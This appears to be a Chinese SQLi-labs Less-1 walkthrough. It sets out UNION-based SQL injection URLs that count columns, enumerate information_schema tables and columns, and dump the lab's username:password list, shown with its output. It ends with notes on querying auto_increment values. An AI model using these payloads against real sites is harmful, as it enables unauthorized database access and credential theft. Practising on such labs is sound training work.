# 确定表中的列数 http://x.x.x.x:x/Less-1/?id=1' order by 1 --+ http://x.x.x.x:x/Less-1/?id=1' order by 3 --+ http://x.x.x.x:x/Less-1/?id=1' order by 4 --+
http://x.x.x.x:x/Less-1/?id=-1' union select 1,2,3 --+ http://x.x.x.x:x/Less-1/?id=-1' union select 1,2,database() --+ http://x.x.x.x:x/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+ http://x.x.x.x:x/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ http://x.x.x.x:x/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ http://x.x.x.x:x/Less-1/?id=-1' union select 1,2, group_concat(username,0x3a,password) from users --+ # 结果如下显示: # Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4,:
方法2:类似方法1,部分语法及显示不同
1 2 3 4
http://x.x.x.x:x/Less-1/?id=1' and '1'='1 http://x.x.x.x:x/Less-1/?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+ # 结果如下显示: # \Dumb\Dumb,\Angelina\I-kill-you,\Dummy\p@ssword,\secure\crappy,\stupid\stupidity,\superman\genious,\batman\mob!le,\admin\admin,\admin1\admin1,\admin2\admin2,\admin3\admin3,\dhakkan\dumbo,\admin4\admin4,\\
选择**information_schema**数据库: use information_schema; 查询(**information_schema**数据库里面的)**tables表**中所有的**自增ID**: select auto_increment from tables; 如果我们想要查询指定表的自增ID,可以用下列语句: select auto_increment from tables where table_name='表名'; **当然如果有同名的数据表,查出来的可就不只是一条记录了。可以加上指定数据库的条件。** select auto_increment from tables where table_schema='数据库名' and table_name='表名';